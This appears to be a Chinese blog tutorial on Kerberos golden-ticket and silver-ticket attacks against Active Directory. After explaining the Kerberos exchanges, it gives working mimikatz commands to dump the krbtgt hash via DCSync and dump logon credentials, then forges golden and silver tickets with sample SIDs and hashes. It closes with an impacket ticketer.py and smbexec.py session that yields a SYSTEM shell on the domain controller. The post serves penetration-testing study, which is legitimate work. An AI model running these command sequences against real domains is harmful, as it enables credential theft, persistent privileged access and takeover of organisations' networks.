黄金票据/白银票据攻击链路
前言:学习域权限维持的一种方法,也就是大家所说的Pass The Ticket
kerberos协议
传送门:https://www.cnblogs.com/zpchcbd/p/11707302.html
kerberos简述
简单的概述下
Client和AS进行的步骤
KRB_AS_REQ(请求):
Client->AS:Client 先向 KDC 的 AS 发送 Authenticator1(内容为Client hash加密的时间戳)
KRB_AS_REP(应答):
AS-> Client:AS根据用户名在AD中寻找是否在白名单中,然后根据用户名提取到对应的NTLM Hash,然后会生成一个随机数session key,然后返回给Client由Client的ntlm hash加密的session key作为AS数据,再返回TGT(使用KDC中krbtgt的NTLM Hash加密session key和客户端的信息,客户端的信息里面包含了时间戳等信息)
AS验证的简述:在 KDC(AD) 中存储了域中所有用户的密码 HASH,当 AS 接收到 Client 的请求之后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。
验证成功后返回给 Client两个东西,一个是由 Client 密码 HASH 加密的 session key 和 TGT(由 KRBTGT HASH 加密的 session key 和 TimeStamp 等信息)。
Client和TGS进行的步骤
TheTicket-Granting Service (TGS) Exchange
KRB_TGS_REQ(请求):
Client 接收到了加密后的session key-as 和 TGT 之后,先用自身密码 HASH解密得到session key ,TGT 是由 KDC 中KRBTGT的HASH加密,所以Client 无法解密。这时 Client 再用session key加密的TimeStamp,然后再和TGT 一起发送给 KDC 中的 TGS(TicketGranting Server)票据授权服务器换取能够访问 Server 的票据。
KRB_TGS_REP(应答):
TGS 收到 Client 发送过来的 TGT 和 Session key 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT的HASH解密 TGT。
一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。
验证成功之后将返回Client两个东西,一个是用 session key 加密的 session key-tgs ,然后另一个是 Client要访问的Server的密码 HASH 加密的 TGS(前面和session key加密生成的) 生成就是ST(TGS)
黄金票据
TGT票据是由KDC的krbtgt HASH生成的,其实域中每个用户的TGT都是由krbtgt的密码Hash来计算生成的,因此只要黑客拿到了krbtgt的密码Hash,就可以随意伪造任意服务的ST票据,进而验证ST票据登陆域控制器。使用krbtgt用户hash生成的票据被称为黄金票据 (Golden Ticket)
只要管理员不修改 krbtgt 的密码,则可以随时制造 TGT 进入。
个人理解:
伪造TGT的过程发生在Authentication Service中,也就是AS里面,以上简述就可以发现当Client把TGT发送给KDC的时候,TGT 是由 KDC 中KRBTGT的HASH加密,而在KDC中申请TGS的时候,只对TGT进行解密而不验证TGT是否是正确的,自然我们也就可以进行任意用户的伪造了!
不过我自己想了下,就算验证TGT是否正确那有什么办法呢?因为唯一的控制因素就是krbtgt,我们目前已经知道了这个HASH,那么相当于这个验证已经失效了。
利用条件:
-
krbtgt的NTLM HASH
-
域当前的sid
-
一台域机器的权限(实际上不需要,只需要有机器能够和域控通信即可)
步骤:
1.得到域控的krbtgt的ntlm hash值:
运行mimikatz再lsadump::dcsync /domain:top.pentest.top /user:krbtgt
mimikatz一次性操作的命令
mimikatz.exe privilege::debug "lsadump::dcsync /domain:top.pentest.top /user:krbtgt" exit >> log.txt

2.获取当前域的sid:
注:获取的sid中不需要末尾的4个数字1128 那只是账号的标识符 比如administrator后面为500

一次性步骤:
mimikatz.exe "kerberos::golden /user:administrator /domain:top.pentest.top /sid:S-1-5-21-2174377853-1962599352-171107088 /krbtgt:ae8366a5c4ba8d4b9932fbb20c6c0b1d /ptt" exit
多次步骤:
mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:pentstlab.com /sid:S-1-5-21-2174377853-1962599352-171107088 /krbtgt:ae8366a5c4ba8d4b9932fbb20c6c0b1d /ticket:Administrator.kiribi
mimikatz # kerberos::ptt Administrator.kiribi
mimikatz # kerberos::tgt
参数解析:
kerberos::golden -> 创建黄金票据
user -> administrator伪造的用户
domain域名 -> top.pentest.top
sid -> id域中sid
krbtft -> hash在域控中导出的hash
ppt -> 将伪造的TGS票据插入到内存中以供使用
3.获取域控主机名字:

4.进行认证:

提示:这里我们可以直接利用psexec进行反弹shell,例如psexec /accepteula \\ip -s cmd
总结:
-
域成员机不能为03与xp及以下 否则mimikatz导入票据时会出错
-
最后连接为域控计算机全名,不能为IP地址,如果是ip的话走的就是ntlm协议了
白银票据
在TGS_REP里面的ticket的enc-part是使用服务的HASH进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。
相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的HASH,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名(关于PAC的详细信息,将在下一篇文章里面详细介绍),则银票将不起作用。
这中间与域控制器没有通信,即没有AS-REQ 、AS-REP、TGS-REQ、TGS-REP过程,只在应用服务端才会有相应日志,这段话是从《内网针对AD域的攻击方法》中复制的,同样的自己也有疑问:如果AS-REQ和AS-REP都没有的话,那么session key如何产生的呢?因为自己的理解是白银票据伪造的TGS同样是需要session key来进行支撑的,如果没有session key就没有session key-as,也不会进行到后面生成session key-tgs,以后自己理解了再写上去吧!
这里提下因为是白银票据,所以这边这边拿到的哈希是主机账户或者是服务账户的哈希,直接用域用户的哈希是没有用的,原因是在kerberos中最后校验的是用服务账号的哈希来进行校验。
环境演示
域控WIN-MG4C5QO445H ip:192.168.75.202
域机器WIN-6R2MMNGJLI3 ip:192.168.75.156

- 读取域控192.168.75.202的administrator域管的ntlm,假设已经知道了域控WIN-MG4C5QO445H的哈希,这边演示所以直接在域控WIN-MG4C5QO445H上dump出对应的域控机器的哈希了
mimikatz.exe "log" "privilege::debug" "sekurlsa::logonPasswords" exit

- 在攻击机器上面进行操作,也就是在域机器上创建白银票据,这边来模拟域控上的域管administrator的凭证
格式为kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
把对应的字符串都进行填充下,对应的就是如下的命令,这边执行如下命令,记得执行命令前先清除下凭证klist purge
mimikatz.exe "kerberos::golden /domain:zpchcbd.com /sid:S-1-5-21-2604987987-3353953405-2351486685 /target:WIN-MG4C5QO445H /service:CIFS /rc4:e94f9e07538fc5d749664031c3433a88 /user:administrator /ptt" exit

dir \\WIN-MG4C5QO445H\c$,结果如下所示,可以看到利用成功

注意:sid获取的时候不需要用户的标识符,也就是最后横杆后面的数字
可利用的服务类型有如下:
服务注释 服务名
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
LDAP 、DCSync LDAP
Windows File Share (CIFS) CIFS
Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS
总结:
-
不需要与KDC进行交互
-
需要Server的NTLM hash作为支撑
impacket
这边顺便用impacket来进行演示利用,利用如下图所示
C:\Users\user\Desktop\impacket-master\examples>
C:\Users\user\Desktop\impacket-master\examples>python3 ticketer.py -domain-sid S-1-5-21-2604987987-3353953405-2351486685 -nthash e94f9e07538fc5d749664031c3433a88 -spn cifs/WIN-MG4C5QO445H.zpchcbd.com -domain zpchcbd.com administrator
Impacket v0.10.1.dev1 - Copyright 2022 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for zpchcbd.com/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in administrator.ccache
C:\Users\user\Desktop\impacket-master\examples>set KRB5CCNAME=administrator.ccache
C:\Users\user\Desktop\impacket-master\examples>python3 smbexec.py -dc-ip 192.168.75.202 zpchcbd.com/administrator@WIN-MG4C5QO445H.zpchcbd.com -k -no-pass
Impacket v0.10.1.dev1 - Copyright 2022 Fortra
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>exit


浙公网安备 33010602011771号